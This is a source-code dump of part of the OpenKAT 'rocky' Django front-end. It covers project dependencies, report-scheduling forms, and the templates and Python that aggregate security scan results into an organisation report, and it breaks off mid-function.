    "content": "[project]\nname = \"rocky\"\nversion = \"0.0.1.dev1\"\ndescription = \"KAT's Django front-end\"\nauthors = [{ name = \"MinVWS\", email = \"maintainer@openkat.nl\" }]\nrequires-python = \">=3.10\"\nlicense = \"EUPL-1.2\"\ndependencies = [\n    \"beautifulsoup4>=4.11.2,<5\",\n    \"django>=5.1.14,<5.2\",\n    \"django-two-factor-auth>=1.17.0,<2\",\n    \"django-environ>=0.12.0,<0.13\",\n    \"jsonschema>=4.17.0,<5\",\n    \"phonenumbers>=9.0.4,<10\",\n    \"psycopg2-binary>=2.9.10\",\n    \"pydantic>=2.7.1,<3\",\n    \"python-dotenv>=1.0.0,<2\",\n    \"django-password-validators>=1.7.1,<2\",\n    \"django-csp~=4.0\",\n    \"djangorestframework>=3.16.0,<4\",\n    \"django-tagulous>=2.1.0,<3\",\n    \"drf-standardized-errors>=0.14.1,<0.15\",\n    \"django-weasyprint>=2.4.0,<3\",\n    \"strenum>=0.4.15,<0.5\",\n    \"django-rest-knox>=5.0.2,<6\",\n    \"opentelemetry-sdk\",\n    \"opentelemetry-exporter-otlp-proto-grpc\",\n    \"opentelemetry-instrumentation-django\",\n    \"opentelemetry-instrumentation-psycopg2\",\n    \"whitenoise[brotli]>=6.5.0,<7\",\n    \"opentelemetry-instrumentation\",\n    \"opentelemetry-instrumentation-fastapi\",\n    \"granian>=2.5\",\n    \"django-components>=0.88,<0.89\",\n    \"pyparsing>=3.1.1,<4\",\n    \"pydantic-settings>=2.0.3,<3\",\n    \"opentelemetry-instrumentation-httpx\",\n    \"httpx>=0.27.0,<0.28\",\n    \"opentelemetry-api\",\n    \"opentelemetry-exporter-otlp-proto-common\",\n    \"opentelemetry-instrumentation-asgi\",\n    \"opentelemetry-instrumentation-dbapi\",\n    \"opentelemetry-instrumentation-wsgi\",\n    \"opentelemetry-proto\",\n    \"opentelemetry-semantic-conventions\",\n    \"opentelemetry-util-http\",\n    \"structlog>=25.3.0,<26\",\n    \"django-structlog>=9.1.1,<10\",\n    \"cron-descriptor>=2\",\n    \"structlog>=25.3.0,<26\",\n    \"django-structlog>=9.1.1,<10\",\n    \"weasyprint>=66\",\n    \"requests>=2.33.0,<3\",\n    \"attrs>=26.1.0\",\n    \"pillow>=12.2.0\",\n    \"brotlicffi>=1.2.0.1\",\n]\n\n[dependency-groups]\ndev = [\n    \"djlint>=1.32.1,<2\",\n    \"PyNaCl>=1.5.0,<2\",\n    \"pytest>=7.4.0\",\n    \"pytest-cov>=7\",\n    \"pytest-django>=4.5.2,<5\",\n    \"pytest-drf>=1.1.3,<2\",\n    \"pytest-mock>=3.11.1,<4\",\n    \"pytest-httpx>=0.30.0,<0.31\",\n    \"model-mommy>=2.0.0,<3\",\n    \"factory-boy>=3.2.1,<4\",\n    \"django-admin-auto-tests\",\n    \"robotframework>=7.1.1,<8\",\n    \"robotframework-browser>=19.0.1,<20\",\n    \"robotframework-debuglibrary>=2.5.0,<3\",\n    \"robotframework-otp>=1.1.0,<2\",\n    \"robotframework-postgresqldb>=2.0.0,<3\",\n    \"setuptools>=81,<82\",\n]\n\n[tool.uv]\npackage = false\n\n[tool.uv.sources]\ndjango-admin-auto-tests = { git = \"https://github.com/dekkers/django-admin-auto-tests\", rev = \"f6eb4cbb9112b5aa933313d79e4da823adb41e1e\" }\n\n[tool.coverage.run]\nrelative_files = true\nomit = [\"octopoes/*\"]\n\n[tool.pytest.ini_options]\naddopts = \"--cov --cov-report xml --cov-branch --cov-report=term-missing:skip-covered -m 'not slow' --ignore=tests/integration\"\nDJANGO_SETTINGS_MODULE = \"rocky.settings_test\"\nmarkers = [\"slow: marks tests as slow\"]\n\n[tool.djlint]\nmax_line_length = 120\nblank_line_after_tag = \"load,extends,include\"\n# https://www.djlint.com/docs/linter/#rules\nignore = \"H006,H016,H017,H030,H031\"\n"
  },
  {
    "path": "rocky/reports/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass ReportsConfig(AppConfig):\n    default_auto_field = \"django.db.models.BigAutoField\"\n    name = \"reports\"\n"
  },
  {
    "path": "rocky/reports/forms.py",
    "content": "from datetime import datetime, timezone\nfrom typing import Any\n\nfrom django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.base import BaseRockyForm, DateInput\n\nfrom reports.report_types.definitions import Report\n\n\nclass OOITypeMultiCheckboxForReportForm(BaseRockyForm):\n    ooi_type = forms.MultipleChoiceField(\n        label=_(\"Filter by OOI types\"), required=False, widget=forms.CheckboxSelectMultiple\n    )\n\n    def __init__(self, ooi_types: list[str], *args: Any, **kwargs: Any):\n        super().__init__(*args, **kwargs)\n        self.fields[\"ooi_type\"].choices = ((ooi_type, ooi_type) for ooi_type in ooi_types)\n\n\nclass ReportTypeMultiselectForm(BaseRockyForm):\n    report_type = forms.MultipleChoiceField(\n        label=_(\"Report types\"), required=False, widget=forms.CheckboxSelectMultiple\n    )\n\n    def __init__(self, report_types: set[Report], *args: Any, **kwargs: Any):\n        super().__init__(*args, **kwargs)\n        report_types_choices = ((report_type.id, report_type.name) for report_type in report_types)\n        self.fields[\"report_type\"].choices = report_types_choices\n\n\nclass ReportScheduleStartDateChoiceForm(BaseRockyForm):\n    choose_date = forms.ChoiceField(\n        label=\"\",\n        required=False,\n        widget=forms.RadioSelect(attrs={\"class\": \"submit-on-click\"}),\n        choices=((\"today\", _(\"Today\")), (\"schedule\", _(\"Different date\"))),\n        initial=\"today\",\n    )\n\n\nclass ReportRecurrenceChoiceForm(BaseRockyForm):\n    choose_recurrence = forms.ChoiceField(\n        label=\"\",\n        required=False,\n        widget=forms.RadioSelect(attrs={\"class\": \"submit-on-click\"}),\n        choices=((\"once\", _(\"No, just once\")), (\"repeat\", _(\"Yes, repeat\"))),\n        initial=\"once\",\n    )\n\n\nclass ReportScheduleStartDateForm(BaseRockyForm):\n    start_date = forms.DateField(\n        label=_(\"Start date\"),\n        widget=DateInput(format=\"%Y-%m-%d\"),\n        initial=lambda: datetime.now(tz=timezone.utc).date(),\n        required=True,\n        input_formats=[\"%Y-%m-%d\"],\n    )\n\n    start_time = forms.TimeField(\n        label=_(\"Start time (UTC)\"),\n        widget=forms.TimeInput(format=\"%H:%M\", attrs={\"type\": \"time\"}),\n        initial=lambda: datetime.now(tz=timezone.utc).time(),\n        required=True,\n        input_formats=[\"%H:%M\"],\n    )\n\n    recurrence = forms.ChoiceField(\n        label=_(\"Recurrence\"),\n        required=True,\n        widget=forms.Select(attrs={\"form\": \"generate_report\"}),\n        choices=[\n            (\"once\", _(\"No recurrence, just once\")),\n            (\"daily\", _(\"Daily\")),\n            (\"weekly\", _(\"Weekly\")),\n            (\"monthly\", _(\"Monthly\")),\n            (\"yearly\", _(\"Yearly\")),\n        ],\n    )\n\n    def clean(self):\n        cleaned_data = super().clean()\n        start_date = cleaned_data.get(\"start_date\")\n        start_time = cleaned_data.get(\"start_time\")\n\n        if start_date and start_time:\n            start_datetime = datetime.combine(start_date, start_time)\n            cleaned_data[\"start_datetime\"] = start_datetime\n\n        return cleaned_data\n\n\nclass CustomReportScheduleForm(BaseRockyForm):\n    start_date = forms.DateField(\n        label=_(\"Start date\"),\n        widget=DateInput(format=\"%Y-%m-%d\"),\n        initial=lambda: datetime.now(tz=timezone.utc).date(),\n        required=False,\n    )\n    repeating_number = forms.IntegerField(initial=1, required=False, min_value=1, max_value=100)\n    repeating_term = forms.ChoiceField(\n        widget=forms.Select,\n        choices=[(\"day\", _(\"day\")), (\"week\", _(\"week\")), (\"month\", _(\"month\")), (\"year\", _(\"year\"))],\n    )\n    on_weekdays = forms.ChoiceField(\n        widget=forms.RadioSelect,\n        choices=[\n            (\"monday\", \"M\"),\n            (\"tuesday\", \"T\"),\n            (\"wednesday\", \"W\"),\n            (\"thursday\", \"T\"),\n            (\"friday\", \"F\"),\n            (\"saturday\", \"S\"),\n            (\"sunday\", \"S\"),\n        ],\n    )\n    recurrence_ends = forms.ChoiceField(\n        widget=forms.RadioSelect,\n        choices=[\n            (\"never\", _(\"Never\")),\n            (\"on\", _(\"On\")),  # user choses a specific date\n            (\"after\", _(\"After\")),  # after how many occurrences? Shows drop down with occurrences\n        ],\n    )\n\n    end_date = forms.DateField(\n        label=_(\"\"), widget=forms.HiddenInput(), initial=lambda: datetime.now(tz=timezone.utc).date(), required=False\n    )\n\n\nclass ReportNameForm(BaseRockyForm):\n    report_name = forms.CharField(\n        label=_(\"Report name format\"), required=True, initial=\"${report_type} for ${oois_count} objects\"\n    )\n"
  },
  {
    "path": "rocky/reports/management/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/management/commands/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/management/commands/worker.py",
    "content": "from django.core.management import BaseCommand\n\nfrom reports.runner.worker import get_runtime_manager\n\n\nclass Command(BaseCommand):\n    help = \"Start a report worker that pulls tasks from the scheduler to generate reports.\"\n\n    def handle(self, *args, **options):\n        get_runtime_manager().run()\n"
  },
  {
    "path": "rocky/reports/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/appendix.html",
    "content": "{% load i18n %}\n\n<section class=\"appendix type-a\" id=\"introduction\">\n    <div>\n        <h2 id=\"appendix\">{% translate \"Appendix\" %}</h2>\n        {% include \"aggregate_organisation_report/term_overview.html\" %}\n\n        <h3 id=\"selected-oois\">{% translate \"Selected objects\" %} ({{ oois|length }})</h3>\n        {% if active_filters %}\n            <p>\n                <span class=\"icon positive\"></span><strong>{% translate \"Currently filtered on\" %}</strong>\n            </p>\n            <p>\n                {% for filter, value in active_filters.items %}<strong>{{ filter }}</strong>{{ value }}&nbsp;{% endfor %}\n            </p>\n        {% endif %}\n        {% include \"summary/ooi_selection.html\" %}\n\n    </div>\n    <h3 id=\"selected-report-types\">{% translate \"Selected Report Types\" %} ({{ report_types|length }})</h3>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Selected report types\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Report type\" %}</th>\n                    <th>{% translate \"Description\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for report_type in report_types %}\n                    <tr>\n                        <td class=\"nowrap\">\n                            <ul class=\"tags horizontal-view\">\n                                <li>\n                                    <span class=\"label tags-color-{{ report_type.label_style }}\">{{ report_type.name }}</span>\n                                </li>\n                            </ul>\n                        </td>\n                        <td>{{ report_type.description }}</td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n    {% include \"summary/selected_plugins.html\" %}\n\n    <h3 id=\"service-versions-and-health\">{% translate \"Service Versions and Health\" %}</h3>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Service, version and health\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Service\" %}</th>\n                    <th>{% translate \"Version\" %}</th>\n                    <th>{% translate \"Health\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for service in data.health %}\n                    <tr>\n                        <td>{{ service.service }}</td>\n                        <td>{{ service.version }}</td>\n                        <td>\n                            {% if service.healthy %}\n                                <span class=\"icon positive\"></span>{% translate \"Healthy\" %}\n                            {% else %}\n                                <span class=\"icon alert\"></span>{% translate \"Unhealthy\" %}\n                            {% endif %}\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n    <h3 id=\"used-config-oois\">{% translate \"Used Config objects\" %}</h3>\n    {% if data.config_oois %}\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Used config objects\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>{% translate \"Primary Key\" %}</th>\n                        <th>{% translate \"Bit ID\" %}</th>\n                        <th>{% translate \"Config\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for config in data.config_oois %}\n                        <tr>\n                            <td>{{ config.primary_key }}</td>\n                            <td>{{ config.bit_id }}</td>\n                            <td>\n                                {% for key, value in config.config.items %}<p>{{ key }}: {{ value }}</p>{% endfor %}\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% else %}\n        <p>{% translate \"No config objects found.\" %}</p>\n    {% endif %}\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/asset_overview.html",
    "content": "{% load i18n %}\n\n<section id=\"asset-overview\">\n    <div>\n        <h2>{% translate \"Asset overview\" %}</h2>\n        <p>\n            {% translate \"An overview of the manually released scanned assets. Assets in <strong>bold</strong> are taken as a starting point, assets that are not in bold were found by OpenKAT itself.\" %}\n        </p>\n    </div>\n    {% include \"systems_report/report.html\" with data=data %}\n\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/basic_security.html",
    "content": "{% load i18n %}\n\n{% if not report_section %}\n    <h3>{% translate \"Overview of the basic security status\" %}</h3>\n{% endif %}\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        This table provides an overview of the basic security status of the known assets.\n        Basic security in order. In principle, all values in this table should be checked off.\n    {% endblocktranslate %}\n</p>\n<div class=\"horizontal-scroll\">\n    <table>\n        <caption class=\"visually-hidden\">{% translate \"Basic security status\" %}</caption>\n        <thead>\n            <tr>\n                <th scope=\"col\">{% translate \"System type\" %}</th>\n                <th scope=\"col\">{% translate \"Safe connections\" %}</th>\n                <th scope=\"col\">{% translate \"System Specific\" %}</th>\n                <th scope=\"col\">{% translate \"RPKI\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for service, compliance in data.basic_security.summary.items %}\n                <tr>\n                    {#For the multi report, \"data.services|get_item:service\" is a list to avoid deduplication #}\n                    <td>{{ service }} {% translate \"server\" %} ({{ data.services|get_item:service|length }})</td>\n                    <td>\n                        {% if compliance.safe_connections.total == 0 %}\n                            -\n                        {% else %}\n                            {% if compliance.safe_connections.number_of_compliant != compliance.safe_connections.total %}\n                                <span class=\"icon incomplete\"></span>\n                            {% else %}\n                                <span class=\"icon positive\"></span>\n                            {% endif %}\n                            {% if data.multi_data %}\n                                {{ compliance.safe_connections.number_of_compliant }}/{{ compliance.safe_connections.total }}\n                            {% else %}\n                                <a href=\"#safe-connections-{{ service }}\">{{ compliance.safe_connections.number_of_compliant }}/{{ compliance.safe_connections.total }}</a>\n                            {% endif %}\n                        {% endif %}\n                    </td>\n                    <td>\n                        {% if compliance.system_specific.total == 0 %}\n                            -\n                        {% else %}\n                            {% if compliance.system_specific.number_of_compliant != compliance.system_specific.total %}\n                                <span class=\"icon incomplete\"></span>\n                            {% else %}\n                                <span class=\"icon positive\"></span>\n                            {% endif %}\n                            <a href=\"#system-specific-{{ service }}\">{{ compliance.system_specific.number_of_compliant }}/{{ compliance.system_specific.total }}</a>\n                        {% endif %}\n                    </td>\n                    <td>\n                        {% if compliance.rpki.total == 0 %}\n                            -\n                        {% else %}\n                            {% if compliance.rpki.number_of_compliant != compliance.rpki.total %}\n                                <span class=\"icon incomplete\"></span>\n                            {% else %}\n                                <span class=\"icon positive\"></span>\n                            {% endif %}\n                            <a href=\"#rpki-{{ service }}\">{{ compliance.rpki.number_of_compliant }}/{{ compliance.rpki.total }}</a>\n                        {% endif %}\n                    </td>\n                </tr>\n            {% endfor %}\n        </tbody>\n    </table>\n</div>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/findings.html",
    "content": "{% load i18n %}\n\n{% if not report_section %}\n    <div>\n        <h3>{% translate \"Findings\" %}</h3>\n        <p class=\"toggle-item\" data-show=\"off\">\n            {% blocktranslate trimmed %}\n                This chapter contains information about the findings that have been identified\n                for this organization.\n            {% endblocktranslate %}\n        </p>\n    </div>\n{% endif %}\n{% include \"findings_report/report.html\" with data=data.findings %}\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/recommendations.html",
    "content": "{% load i18n %}\n\n<section id=\"recommendations\">\n    <div>\n        <h2>{% translate \"Recommendations\" %}</h2>\n        {% if total_findings %}\n            <p>\n                {% blocktranslate count total_findings as count trimmed %}\n                    There is <i>{{ total_findings }}</i> vulnerability\n                {% plural %}\n                    There are <i>{{ total_findings }}</i> vulnerabilities\n                {% endblocktranslate %}\n                {% blocktranslate count total_systems as count trimmed %}\n                    found on <i>{{ total_systems }}</i> system.\n                {% plural %}\n                    found on <i>{{ total_systems }}</i> systems.\n                {% endblocktranslate %}\n            </p>\n        {% endif %}\n        {% if data %}\n            <ul>\n                {% for recommendation in data %}<li>{{ recommendation }}</li>{% endfor %}\n            </ul>\n        {% else %}\n            <p>{% translate \"There are no recommendations.\" %}</p>\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/report.html",
    "content": "{% load i18n %}\n\n<main id=\"main-content\"\n      tabindex=\"-1\"\n      class=\"sidemenu choose-report report\"\n      lang=\"nl\">\n    {% include \"partials/report_sidemenu.html\" %}\n\n    <article>\n        {% include \"partials/report_header.html\" %}\n        {% include \"aggregate_organisation_report/summary.html\" with data=data.summary %}\n\n        <div class=\"chapter-numbers report-content\">\n            {% include \"aggregate_organisation_report/recommendations.html\" with data=data.recommendations total_findings=data.total_findings total_systems=data.total_systems %}\n            {% include \"aggregate_organisation_report/asset_overview.html\" with data=data.systems %}\n\n            {% if data.open_ports %}\n                {% include \"open_ports_report/report.html\" with data=data.open_ports show_heading=\"yes\" %}\n\n            {% endif %}\n            {% if data.ipv6 %}\n                {% include \"ipv6_report/report.html\" with data=data.ipv6 show_heading=\"yes\" show_system_type=\"yes\" %}\n\n            {% endif %}\n            {% if data.basic_security.summary %}\n                <section id=\"basic-security\">\n                    <div>\n                        <div id=\"basic-security-overview\">\n                            <h2>{% translate \"Basic security\" %}</h2>\n                            <p class=\"toggle-item\" data-show=\"off\">\n                                {% blocktranslate trimmed %}\n                                    In this chapter, first a table of compliance checks is displayed, followed by a\n                                    detailed examination of compliance issues for each component.\n                                {% endblocktranslate %}\n                            </p>\n                            <div class=\"horizontal-view\">\n                                <h3>{% translate \"Overview of the basic security status\" %}</h3>\n                                {% include \"partials/report_section_action_button.html\" with modal_id=\"basic-security-modal\" template=\"aggregate_organisation_report/basic_security.html\" %}\n\n                            </div>\n                            {% include \"aggregate_organisation_report/basic_security.html\" with report_section=\"yes\" %}\n\n                        </div>\n                        {% if data.basic_security.safe_connections %}\n                            <div id=\"safe-connections\">\n                                <div class=\"horizontal-view\">\n                                    <h3>{% translate \"Safe connections\" %}</h3>\n                                    {% include \"partials/report_section_action_button.html\" with modal_id=\"safe-connections-modal\" template=\"aggregate_organisation_report/safe_connections.html\" %}\n\n                                </div>\n                                {% include \"aggregate_organisation_report/safe_connections.html\" with report_section=\"yes\" %}\n\n                            </div>\n                        {% endif %}\n                        {% if data.basic_security.summary %}\n                            <div id=\"system-specific\">\n                                <div class=\"horizontal-view\">\n                                    <h3>{% translate \"System specific\" %}</h3>\n                                    {% include \"partials/report_section_action_button.html\" with modal_id=\"system-specific-modal\" template=\"aggregate_organisation_report/system_specific_overview.html\" %}\n\n                                </div>\n                                {% include \"aggregate_organisation_report/system_specific_overview.html\" with show_heading=\"yes\" %}\n\n                            </div>\n                        {% endif %}\n                        {% if data.basic_security.rpki %}\n                            <div id=\"rpki\">\n                                <div class=\"horizontal-view\">\n                                    <h3>{% translate \"Resource Public Key Infrastructure\" %}</h3>\n                                    {% include \"partials/report_section_action_button.html\" with modal_id=\"rpki-modal\" template=\"aggregate_organisation_report/rpki.html\" %}\n\n                                </div>\n                                {% include \"aggregate_organisation_report/rpki.html\" with show_heading=\"yes\" %}\n\n                            </div>\n                        {% endif %}\n                    </div>\n                </section>\n            {% endif %}\n            {% if data.vulnerabilities %}\n                <section id=\"vulnerabilities\">\n                    <div>\n                        <div>\n                            <div class=\"horizontal-view\">\n                                <h2>{% translate \"Vulnerabilities\" %}</h2>\n                                {% include \"partials/report_section_action_button.html\" with modal_id=\"vulnerabilities-modal\" template=\"aggregate_organisation_report/vulnerabilities.html\" %}\n\n                            </div>\n                            <p class=\"toggle-item\" data-show=\"off\">{% translate \"Vulnerabilities found are grouped per system.\" %}</p>\n                        </div>\n                        {% include \"aggregate_organisation_report/vulnerabilities.html\" with report_section=\"yes\" %}\n\n                    </div>\n                </section>\n            {% endif %}\n            {% if data.findings %}\n                <section id=\"findings\">\n                    <div>\n                        <div>\n                            <div class=\"horizontal-view\">\n                                <h2>{% translate \"Findings\" %}</h2>\n                                {% include \"partials/report_section_action_button.html\" with modal_id=\"findings-modal\" template=\"aggregate_organisation_report/findings.html\" %}\n\n                            </div>\n                            <p class=\"toggle-item\" data-show=\"off\">\n                                {% blocktranslate trimmed %}\n                                    This chapter contains information about the findings that have been identified\n                                    for this organization.\n                                {% endblocktranslate %}\n                            </p>\n                        </div>\n                        {% include \"aggregate_organisation_report/findings.html\" with report_section=\"yes\" %}\n\n                    </div>\n                </section>\n            {% endif %}\n        </div>\n        <div class=\"chapter-numbers report-content type-a\">\n            {% include \"aggregate_organisation_report/appendix.html\" %}\n\n        </div>\n    </article>\n</main>\n"
  },
  {
    "path": "rocky/reports/report_types/aggregate_organisation_report/report.py",
    "content": "from datetime import datetime\nfrom typing import Any\n\nimport structlog\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models.ooi.config import Config\nfrom reports.report_types.definitions import AggregateReport\nfrom reports.report_types.findings_report.report import SEVERITY_OPTIONS, FindingsReport\nfrom reports.report_types.ipv6_report.report import IPv6Report\nfrom reports.report_types.mail_report.report import MailReport\nfrom reports.report_types.name_server_report.report import NameServerSystemReport\nfrom reports.report_types.open_ports_report.report import OpenPortsReport\nfrom reports.report_types.rpki_report.report import RPKIReport\nfrom reports.report_types.safe_connections_report.report import SafeConnectionsReport\nfrom reports.report_types.systems_report.report import SystemReport, SystemType\nfrom reports.report_types.vulnerability_report.report import VulnerabilityReport\nfrom reports.report_types.web_system_report.report import WebSystemReport\nfrom rocky.views.health import flatten_health, get_rocky_health\n\nlogger = structlog.get_logger(__name__)\n\n\nclass AggregateOrganisationReport(AggregateReport):\n    id = \"aggregate-organisation-report\"\n    name = _(\"Aggregate Organisation Report\")\n    description = \"Aggregate Organisation Report\"\n    reports = {\n        \"required\": [SystemReport],\n        \"optional\": [\n            OpenPortsReport,\n            VulnerabilityReport,\n            IPv6Report,\n            RPKIReport,\n            MailReport,\n            WebSystemReport,\n            NameServerSystemReport,\n            SafeConnectionsReport,\n            FindingsReport,\n        ],\n    }\n    template_path = \"aggregate_organisation_report/report.html\"\n\n    def post_process_data(\n        self, report_data: dict[str, Any], valid_time: datetime, organization_code: str\n    ) -> dict[str, Any]:\n        systems: dict[str, dict[str, Any]] = {\"services\": {}}\n        services = {}\n        open_ports = {}\n        ipv6 = {}\n        vulnerabilities = {}\n        findings: dict[str, Any] = {}\n        total_criticals = 0\n        total_systems = 0\n        unique_ips = set()\n        unique_hostnames = set()\n        terms = []\n        rpki_ips = {}\n        safe_connections_ips = {}\n        recommendations = []\n        total_systems_basic_security = 0\n\n        # For consistency with reporting but backward compatibility with this logic, we flipped the data in report_data,\n        # so we need to change it back from\n        # report_id => input_ooi => {data}\n        # to\n        # input_ooi => report_id => {data}\n        data: dict[str, Any] = {}\n\n        for report_id, report_datas in report_data.items():\n            for input_ooi, item in report_datas.items():\n                if input_ooi not in data:\n                    data[input_ooi] = {}\n\n                data[input_ooi][report_id] = item[\"data\"]\n\n        for input_ooi, reports_data in data.items():\n            for report_id, report_specific_data in reports_data.items():\n                # data in report, specifically we use systems to couple reports\n\n                if report_id == SystemReport.id:\n                    for ip, system in report_specific_data[\"services\"].items():\n                        unique_ips.add(ip)\n\n                        if ip not in systems[\"services\"]:\n                            systems[\"services\"][ip] = system\n                        else:\n                            # makes sure that there are no duplicates in the list\n                            systems[\"services\"][ip][\"hostnames\"] = sorted(\n                                set(systems[\"services\"][ip][\"hostnames\"]) | set(system[\"hostnames\"])\n                            )\n\n                            systems[\"services\"][ip][\"services\"] = sorted(\n                                set(systems[\"services\"][ip][\"services\"]) | set(system[\"services\"])\n                            )\n\n                        for service in system[\"services\"]:\n                            if service not in services:\n                                services[service] = {ip: systems[\"services\"][ip]}\n                            else:\n                                services[service][ip] = systems[\"services\"][ip]\n                        unique_hostnames.update(systems[\"services\"][ip][\"hostnames\"])\n                    total_systems += report_specific_data[\"summary\"][\"total_systems\"]\n\n                if report_id == OpenPortsReport.id:\n                    for ip, details in report_specific_data.items():\n                        open_ports[ip] = details\n\n                if report_id == IPv6Report.id:\n                    for hostname, info in report_specific_data.items():\n                        ipv6[hostname] = {\"enabled\": info[\"enabled\"], \"systems\": []}\n\n                        for ip, system in systems[\"services\"].items():\n                            if hostname in [x.tokenized.name for x in system[\"hostnames\"]]:\n                                ipv6[hostname][\"systems\"] = sorted(\n                                    set(ipv6[hostname][\"systems\"]).union(set(system[\"services\"]))\n                                )\n\n                if report_id == VulnerabilityReport.id:\n                    for ip, vulnerabilities_data in report_specific_data.items():\n                        terms.extend(vulnerabilities_data[\"summary\"][\"terms\"])\n                        recommendations.extend(vulnerabilities_data[\"summary\"][\"recommendations\"])\n                        vulnerabilities_data[\"title\"] = ip.split(\"|\")[2]\n                        vulnerabilities[ip] = vulnerabilities_data\n\n                if report_id == RPKIReport.id:\n                    rpki_ips.update({ip: value for ip, value in report_specific_data[\"rpki_ips\"].items()})\n\n                if report_id == SafeConnectionsReport.id:\n                    safe_connections_ips.update({ip: value for ip, value in report_specific_data[\"sc_ips\"].items()})\n\n                if report_id == FindingsReport.id:\n                    if not findings:\n                        findings[\"finding_types\"] = {}\n                        findings[\"summary\"] = {\n                            \"total_by_severity\": {severity: 0 for severity in SEVERITY_OPTIONS},\n                            \"total_by_severity_per_finding_type\": {severity: 0 for severity in SEVERITY_OPTIONS},\n                            \"total_finding_types\": 0,\n                            \"total_occurrences\": 0,\n                        }\n\n                    for report_specific_data_ft in report_specific_data[\"finding_types\"]:\n                        finding_type = report_specific_data_ft[\"finding_type\"]\n                        finding_type_id = finding_type.id\n                        occurrences = report_specific_data_ft[\"occurrences\"]\n                        severity = finding_type.risk_severity.value\n\n                        if finding_type_id not in findings[\"finding_types\"]:\n                            findings[\"finding_types\"][finding_type_id] = {\n                                \"finding_type\": finding_type,\n                                \"occurrences\": occurrences,\n                            }\n                            findings[\"summary\"][\"total_by_severity_per_finding_type\"][severity] += 1\n                            findings[\"summary\"][\"total_finding_types\"] += 1\n                        else:\n                            findings[\"finding_types\"][finding_type_id][\"occurrences\"].extend(occurrences)\n\n        mail_report_data = self.collect_system_specific_data(data, services, SystemType.MAIL, MailReport.id)\n        web_report_data = self.collect_system_specific_data(data, services, SystemType.WEB, WebSystemReport.id)\n        dns_report_data = self.collect_system_specific_data(data, services, SystemType.DNS, NameServerSystemReport.id)\n\n        for ip, ipv6_data in ipv6.items():\n            for system in ipv6_data[\"systems\"]:\n                terms.append(str(system))\n\n        # Basic security cleanup\n        basic_security: dict[str, Any] = {\"rpki\": {}, \"system_specific\": {}, \"safe_connections\": {}}\n\n        # Safe connections\n        for ip, findings_types in safe_connections_ips.items():\n            ip_services = systems[\"services\"][str(ip)][\"services\"]\n\n            for service in ip_services:\n                if service not in basic_security[\"safe_connections\"]:  # Set initial value\n                    basic_security[\"safe_connections\"][service] = {\n                        \"sc_ips\": {},\n                        \"number_of_available\": 0,\n                        \"number_of_ips\": 0,\n                    }\n\n                if ip in basic_security[\"safe_connections\"][service][\"sc_ips\"]:\n                    continue  # We already processed data from this ip for this service\n\n                basic_security[\"safe_connections\"][service][\"sc_ips\"][ip.tokenized.address] = findings_types\n                basic_security[\"safe_connections\"][service][\"number_of_ips\"] += 1\n                basic_security[\"safe_connections\"][service][\"number_of_available\"] += 1 if not findings_types else 0\n\n                # Collect recommendations from findings\n                recommendations.extend({finding_type.recommendation for finding_type in findings_types})\n\n        # RPKI\n        for ip, compliance in rpki_ips.items():\n            ip_services = systems[\"services\"][str(ip)][\"services\"]\n\n            for service in services:\n                service = str(service)\n                if service not in basic_security[\"rpki\"]:  # Set initial value\n                    basic_security[\"rpki\"][service] = {\n                        \"rpki_ips\": {},\n                        \"number_of_available\": 0,\n                        \"number_of_valid\": 0,\n                        \"number_of_ips\": 0,\n                        \"number_of_compliant\": 0,\n                    }\n\n                if ip in basic_security[\"rpki\"][service][\"rpki_ips\"]:\n                    continue  # We already processed data from this ip for this service\n\n                basic_security[\"rpki\"][service][\"rpki_ips\"][ip.tokenized.address] = compliance\n                basic_security[\"rpki\"][service][\"number_of_ips\"] += 1\n                basic_security[\"rpki\"][service][\"number_of_available\"] += 1 if compliance[\"exists\"] else 0\n                basic_security[\"rpki\"][service][\"number_of_valid\"] += 1 if compliance[\"valid\"] else 0\n                basic_security[\"rpki\"][service][\"number_of_compliant\"] += (\n                    1 if compliance[\"exists\"] and compliance[\"valid\"] else 0\n                )\n\n        # System Specific\n        basic_security[\"system_specific\"][SystemType.MAIL] = [\n            report for ip in mail_report_data for report in mail_report_data[ip]\n        ]\n        basic_security[\"system_specific\"][SystemType.WEB] = [\n            report for ip in web_report_data for report in web_report_data[ip]\n        ]\n        basic_security[\"system_specific\"][SystemType.DNS] = [\n            report for ip in dns_report_data for report in dns_report_data[ip]\n        ]\n\n        # Findings\n        if \"finding_types\" in findings:\n            for finding_type in findings[\"finding_types\"].values():\n                # Remove duplicate occurrences\n                severity = finding_type[\"finding_type\"].risk_severity.value\n                unique_occurrences = []\n                seen_keys = set()\n\n                for occurrence in 